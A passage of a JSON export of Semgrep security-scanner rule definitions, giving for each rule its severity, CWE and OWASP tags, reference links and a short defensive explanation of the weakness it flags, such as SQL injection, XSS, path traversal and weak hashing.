[https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The application accepts potentially user-controlled input `$PROP` which can control the location of the current window context. This can lead two types of vulnerabilities open-redirection and Cross-Site-Scripting (XSS) with JavaScript URIs. It is recommended to validate user-controllable input before allowing it to control the redirection."},"helpUri":"https://semgrep.dev/r/javascript.browser.security.open-redirect.js-open-redirect","id":"javascript.browser.security.open-redirect.js-open-redirect","name":"javascript.browser.security.open-redirect.js-open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.open-redirect.js-open-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`$FUNC` returns a pointer to the memory owned by `$STR`. This pointer is invalid after `$STR` goes out of scope, which can trigger a use after free."},"help":{"markdown":"`$FUNC` returns a pointer to the memory owned by `$STR`. This pointer is invalid after `$STR` goes out of scope, which can trigger a use after free.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.return-c-str.return-c-str)\n - [https://wiki.sei.cmu.edu/confluence/display/c/DCL30-C.+Declare+objects+with+appropriate+storage+durations](https://wiki.sei.cmu.edu/confluence/display/c/DCL30-C.+Declare+objects+with+appropriate+storage+durations)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime](https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime)\n","text":"`$FUNC` returns a pointer to the memory owned by `$STR`. This pointer is invalid after `$STR` goes out of scope, which can trigger a use after free."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.return-c-str.return-c-str","id":"cpp.lang.security.strings.return-c-str.return-c-str","name":"cpp.lang.security.strings.return-c-str.return-c-str","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.return-c-str.return-c-str"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.redis.ruby-redis-empty-password.ruby-redis-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.redis.ruby-redis-empty-password.ruby-redis-empty-password","id":"ruby.redis.ruby-redis-empty-password.ruby-redis-empty-password","name":"ruby.redis.ruby-redis-empty-password.ruby-redis-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.redis.ruby-redis-empty-password.ruby-redis-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Instead, use a suitable password hashing function such as bcrypt. You can use the `bcrypt` gem."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Instead, use a suitable password hashing function such as bcrypt. You can use the `bcrypt` gem.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html](https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html)\n - [https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords](https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Instead, use a suitable password hashing function such as bcrypt. You can use the `bcrypt` gem."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.md5-used-as-password.md5-used-as-password","id":"ruby.lang.security.md5-used-as-password.md5-used-as-password","name":"ruby.lang.security.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The size parameter to `snprintf` is derived from the source data, not the destination buffer. This may trigger a buffer overflow and memory corruption if `$SRC` is larger than `$DEST`."},"help":{"markdown":"The size parameter to `snprintf` is derived from the source data, not the destination buffer. This may trigger a buffer overflow and memory corruption if `$SRC` is larger than `$DEST`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.snprintf-source-size.snprintf-source-size)\n - [https://cwe.mitre.org/data/definitions/787.html](https://cwe.mitre.org/data/definitions/787.html)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator](https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator)\n","text":"The size parameter to `snprintf` is derived from the source data, not the destination buffer. This may trigger a buffer overflow and memory corruption if `$SRC` is larger than `$DEST`."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.snprintf-source-size.snprintf-source-size","id":"cpp.lang.security.strings.snprintf-source-size.snprintf-source-size","name":"cpp.lang.security.strings.snprintf-source-size.snprintf-source-size","properties":{"precision":"very-high","tags":["CWE-787: Out-of-bounds Write","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.snprintf-source-size.snprintf-source-size"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.path-traversal.file-taint.file-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.path-traversal.file-taint.file-taint","id":"csharp.dotnet-core.path-traversal.file-taint.file-taint","name":"csharp.dotnet-core.path-traversal.file-taint.file-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.path-traversal.file-taint.file-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that do not have JavaScript disabled. Consider disabling JavaScript wherever the functionality is not required, following the principle of least privelege."},"help":{"markdown":"Webviews were observed that do not have JavaScript disabled. Consider disabling JavaScript wherever the functionality is not required, following the principle of least privelege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-allow-js.swift-webview-config-allows-js)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"Webviews were observed that do not have JavaScript disabled. Consider disabling JavaScript wherever the functionality is not required, following the principle of least privelege."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-allow-js.swift-webview-config-allows-js","id":"swift.webview.webview-allow-js.swift-webview-config-allows-js","name":"swift.webview.webview-allow-js.swift-webview-config-allows-js","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-allow-js.swift-webview-config-allows-js"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD2 hash algorithm which is considered insecure. MD2 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"help":{"markdown":"Detected MD2 hash algorithm which is considered insecure. MD2 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md2.insecure-hash-algorithm-md2)\n - [https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms](https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected MD2 hash algorithm which is considered insecure. MD2 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md2.insecure-hash-algorithm-md2","id":"python.pycryptodome.security.insecure-hash-algorithm-md2.insecure-hash-algorithm-md2","name":"python.pycryptodome.security.insecure-hash-algorithm-md2.insecure-hash-algorithm-md2","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-hash-algorithm-md2.insecure-hash-algorithm-md2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded password is used as a default argument to '$FUNC'. This could be dangerous if a real password is not supplied."},"help":{"markdown":"Hardcoded password is used as a default argument to '$FUNC'. This could be dangerous if a real password is not supplied.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.hardcoded-password-default-argument.hardcoded-password-default-argument)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Hardcoded password is used as a default argument to '$FUNC'. This could be dangerous if a real password is not supplied."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.hardcoded-password-default-argument.hardcoded-password-default-argument","id":"python.lang.security.audit.hardcoded-password-default-argument.hardcoded-password-default-argument","name":"python.lang.security.audit.hardcoded-password-default-argument.hardcoded-password-default-argument","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.hardcoded-password-default-argument.hardcoded-password-default-argument"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"GitHub Token detected"},"help":{"markdown":"GitHub Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-github-token.detected-github-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"GitHub Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-github-token.detected-github-token","id":"generic.secrets.security.detected-github-token.detected-github-token","name":"generic.secrets.security.detected-github-token.detected-github-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-github-token.detected-github-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of the 'blocksize' argument in a HTTPSConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below."},"help":{"markdown":"Found usage of the 'blocksize' argument in a HTTPSConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-httpsconn)\n","text":"Found usage of the 'blocksize' argument in a HTTPSConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-httpsconn","id":"python.lang.compatibility.python37.python37-compatibility-httpsconn","name":"python.lang.compatibility.python37.python37-compatibility-httpsconn","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-httpsconn"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-crispy-forms-disable-csrf.django-crispy-forms-disable-csrf)\n - [https://django-crispy-forms.readthedocs.io/en/latest/form_helper.html](https://django-crispy-forms.readthedocs.io/en/latest/form_helper.html)\n - [https://docs.djangoproject.com/en/5.0/ref/csrf/](https://docs.djangoproject.com/en/5.0/ref/csrf/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/csrf](https://owasp.org/www-community/attacks/csrf)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"helpUri":"https://semgrep.dev/r/python.django.web.django-crispy-forms-disable-csrf.django-crispy-forms-disable-csrf","id":"python.django.web.django-crispy-forms-disable-csrf.django-crispy-forms-disable-csrf","name":"python.django.web.django-crispy-forms-disable-csrf.django-crispy-forms-disable-csrf","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-crispy-forms-disable-csrf.django-crispy-forms-disable-csrf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`Printing user input risks cross-site scripting vulnerability. You should use `htmlentities()` when showing data to users."},"help":{"markdown":"`Printing user input risks cross-site scripting vulnerability. You should use `htmlentities()` when showing data to users.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.printed-request.printed-request)\n - [https://www.php.net/manual/en/function.htmlentities.php](https://www.php.net/manual/en/function.htmlentities.php)\n - [https://www.php.net/manual/en/reserved.variables.request.php](https://www.php.net/manual/en/reserved.variables.request.php)\n - [https://www.php.net/manual/en/reserved.variables.post.php](https://www.php.net/manual/en/reserved.variables.post.php)\n - [https://www.php.net/manual/en/reserved.variables.get.php](https://www.php.net/manual/en/reserved.variables.get.php)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"`Printing user input risks cross-site scripting vulnerability. You should use `htmlentities()` when showing data to users."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.printed-request.printed-request","id":"php.lang.security.injection.printed-request.printed-request","name":"php.lang.security.injection.printed-request.printed-request","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.printed-request.printed-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Running flask app with host 0.0.0.0 could expose the server publicly."},"help":{"markdown":"Running flask app with host 0.0.0.0 could expose the server publicly.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Running flask app with host 0.0.0.0 could expose the server publicly."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host","id":"python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host","name":"python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host","properties":{"precision":"very-high","tags":["CWE-668: Exposure of Resource to Wrong Sphere","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-httponly-missing.fastapi-cookie-httponly-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-httponly-missing.fastapi-cookie-httponly-missing","id":"python.fastapi.web.fastapi-cookie-httponly-missing.fastapi-cookie-httponly-missing","name":"python.fastapi.web.fastapi-cookie-httponly-missing.fastapi-cookie-httponly-missing","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.fastapi-cookie-httponly-missing.fastapi-cookie-httponly-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.pgx-sqli-taint-med-conf.pgx-sqli-taint-med-conf)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"helpUri":"https://semgrep.dev/r/go.net.sql.pgx-sqli-taint-med-conf.pgx-sqli-taint-med-conf","id":"go.net.sql.pgx-sqli-taint-med-conf.pgx-sqli-taint-med-conf","name":"go.net.sql.pgx-sqli-taint-med-conf.pgx-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.pgx-sqli-taint-med-conf.pgx-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a call to `$FUNC()` in an attempt to HTML escape the string `$STR`. Manually sanitizing input through a manually built list can be circumvented in many situations, and it's better to use a well known sanitization library such as `sanitize-html` or `DOMPurify`."},"help":{"markdown":"Detected a call to `$FUNC()` in an attempt to HTML escape the string `$STR`. Manually sanitizing input through a manually built list can be circumvented in many situations, and it's better to use a well known sanitization library such as `sanitize-html` or `DOMPurify`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.audit.detect-replaceall-sanitization.detect-replaceall-sanitization)\n - [https://www.npmjs.com/package/dompurify](https://www.npmjs.com/package/dompurify)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Detected a call to `$FUNC()` in an attempt to HTML escape the string `$STR`. Manually sanitizing input through a manually built list can be circumvented in many situations, and it's better to use a well known sanitization library such as `sanitize-html` or `DOMPurify`."},"helpUri":"https://semgrep.dev/r/javascript.audit.detect-replaceall-sanitization.detect-replaceall-sanitization","id":"javascript.audit.detect-replaceall-sanitization.detect-replaceall-sanitization","name":"javascript.audit.detect-replaceall-sanitization.detect-replaceall-sanitization","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.audit.detect-replaceall-sanitization.detect-replaceall-sanitization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Specifying the regex timeout leaves the system vulnerable to a regex-based Denial of Service (DoS) attack. Consider setting the timeout to a short amount of time like 2 or 3 seconds. If you are sure you need an infinite timeout, double check that your context meets the conditions outlined in the \"Notes to Callers\" section at the bottom of this page: https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.-ctor?view=net-6.0"},"help":{"markdown":"Specifying the regex timeout leaves the system vulnerable to a regex-based Denial of Service (DoS) attack. Consider setting the timeout to a short amount of time like 2 or 3 seconds. If you are sure you need an infinite timeout, double check that your context meets the conditions outlined in the \"Notes to Callers\" section at the bottom of this page: https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.-ctor?view=net-6.0\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.regular-expression-dos.regular-expression-dos-infinite-timeout.regular-expression-dos-infinite-timeout)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.infinitematchtimeout](https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.infinitematchtimeout)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.-ctor?view=net-6.0](https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.-ctor?view=net-6.0)\n","text":"Specifying the regex timeout leaves the system vulnerable to a regex-based Denial of Service (DoS) attack. Consider setting the timeout to a short amount of time like 2 or 3 seconds. If you are sure you need an infinite timeout, double check that your context meets the conditions outlined in the \"Notes to Callers\" section at the bottom of this page: https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.-ctor?view=net-6.0"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.regular-expression-dos.regular-expression-dos-infinite-timeout.regular-expression-dos-infinite-timeout","id":"csharp.lang.security.regular-expression-dos.regular-expression-dos-infinite-timeout.regular-expression-dos-infinite-timeout","name":"csharp.lang.security.regular-expression-dos.regular-expression-dos-infinite-timeout.regular-expression-dos-infinite-timeout","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.regular-expression-dos.regular-expression-dos-infinite-timeout.regular-expression-dos-infinite-timeout"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`readlink` does not NULL terminate the output buffer. This expression expects a NULL terminated string and will trigger an out-of-bounds read."},"help":{"markdown":"`readlink` does not NULL terminate the output buffer. This expression expects a NULL terminated string and will trigger an out-of-bounds read.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.readlink-null-terminator.readlink-null-terminator)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR32-C.+Do+not+pass+a+non-null-terminated+character+sequence+to+a+library+function+that+expects+a+string](https://wiki.sei.cmu.edu/confluence/display/c/STR32-C.+Do+not+pass+a+non-null-terminated+character+sequence+to+a+library+function+that+expects+a+string)\n","text":"`readlink` does not NULL terminate the output buffer. This expression expects a NULL 